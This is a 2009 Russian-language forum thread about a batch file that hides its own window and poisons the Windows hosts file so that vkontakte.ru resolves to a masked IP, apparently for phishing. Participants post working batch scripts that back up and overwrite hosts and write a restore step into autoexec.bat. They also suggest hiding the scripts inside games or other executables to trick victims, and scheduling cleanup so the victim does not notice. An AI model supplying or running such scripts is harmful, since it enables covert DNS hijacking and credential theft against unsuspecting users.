PDA

Просмотр полной версии : Вопрос по bat файлу, который изменяет hosts


microlab12
24.08.2009, 16:08
Здравствуйте, есть батник
cmdow @ /HID @echo off
echo -- >> %windir%\system32\drivers\etc\hosts
echo **.**.** www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts
Что нужно дописать или как сделать, чтоб через определенное время (например после перезагрузки) файл hosts снова становился прежним?

Kaimi
24.08.2009, 16:29
Видимо добавить в автозагрузку батник очищающий hosts файл

aqqa
24.08.2009, 16:29
Здравствуйте, есть батник

Что нужно дописать или как сделать, чтоб через определенное время (например после перезагрузки) файл hosts снова становился прежним?
Напиши еще 1 батник и впиздяч в автозагрузку

root_sashok
24.08.2009, 16:30
Прописать в AUTOEXEC.BAT очистку hosts:

echo #clean > %SystemRoot%\system32\drivers\etc\hosts :)

microlab12
24.08.2009, 16:34
Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?

Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?

root_sashok
24.08.2009, 16:40
Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?

Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?

AUTOEXEC.BAT запускается вместе с системой.

=Zeus=
24.08.2009, 16:43
Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?

Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?

Не нужно ничего открывать. Как только откроет первый - из него извлекай второй и пиши в автозагрузку.

microlab12
24.08.2009, 16:44
=Zeus=, а не подскажешь правильный код, ато у меня несовсем работает :(

=Zeus=
24.08.2009, 16:48
=Zeus=, а не подскажешь правильный код, ато у меня несовсем работает :(

ОМГ, какой код? Выше тебе уже все написали.

echo blablabla >> %windir%\AUTOEXEC.BAT
Таким макаром пиши куда угодно и что угодно. Бла-бла это текст, который ты запишешь в файл. В твоем случее это путь к батнику.

microlab12
24.08.2009, 17:02
=Zeus=, может я сейчас конкретно туплю, но как я буду знать путь ко второму батнику у юзера?

echo #clean > %SystemRoot%\system32\drivers\etc\hosts >> %windir%\AUTOEXEC.BAT - вот так, насколько я понял, работать не будет?

Огризок
24.08.2009, 17:09
А почему бы не склеить два батника с какой-то игрой или еще с чем-нибуть?

microlab12
24.08.2009, 17:22
Огризок, не подскажешь как?
Возможно кто-нибудь поможет и даст подсказки по ICQ 598-774-29 пять, если нужно - заплачу. Спасибо.

microlab12
24.08.2009, 22:56
Подскажите пожалуйста хоть кто-то, уже совсем отчаялся, никак не выходит вписать в первый батник второй, в котором идет очищение файла hosts после перезагрузки системы.

Zedi
25.08.2009, 00:45
Почитай про планировщик задач в винде, можно будет добавить выполнение батника через 20 минут

aqqa
25.08.2009, 10:05
скачай вот эту прогу http://s0m.narod.ru/s0m27p_inst.zip
делов наворотить там можно каких угодно! И в любой момент времени запустишь че хочешь!!!!!!

Pernat1y
25.08.2009, 10:51
превад зиродэй
cmdow @ /HID @echo off
copy %windir%\system32\drivers\etc\hosts %windir%\system32\drivers\etc\hosts.backup /y
echo copy %windir%\system32\drivers\etc\hosts.backup %windir%\system32\drivers\etc\hosts /y >> %systemdrive%\autoexec.bat
echo **.**.** www.vkontakte.ru > %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts

microlab12
25.08.2009, 16:30
превад зиродэй
cmdow @ /HID @echo off
copy %windir%\system32\drivers\etc\hosts %windir%\system32\drivers\etc\hosts.backup /y
echo copy %windir%\system32\drivers\etc\hosts.backup %windir%\system32\drivers\etc\hosts /y >> %systemdrive%\autoexec.bat
echo **.**.** www.vkontakte.ru > %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts

Создал батник, запустил, в hosts оно дописало, а вот после перезагрузки ничего не меняет. hosts остается прежним :(

SpangeBoB
25.08.2009, 17:02
XP читает только переменные окружения из autoexec.bat,остальные команды он просто игнорирует.

microlab12
25.08.2009, 21:45
SpangeBoB, что ж делать?

SpangeBoB
25.08.2009, 22:31
SpangeBoB, что ж делать?
Внимательно прочитать пост Zedi.

aqqa
10.09.2009, 10:02
как расклеить файлы склеиных командой copy /b *.exe 3.exe

Gray_Wolf
10.09.2009, 14:53
Как вариант, можно использовать и 1 батник, но тогда прийдётся юзать хвост...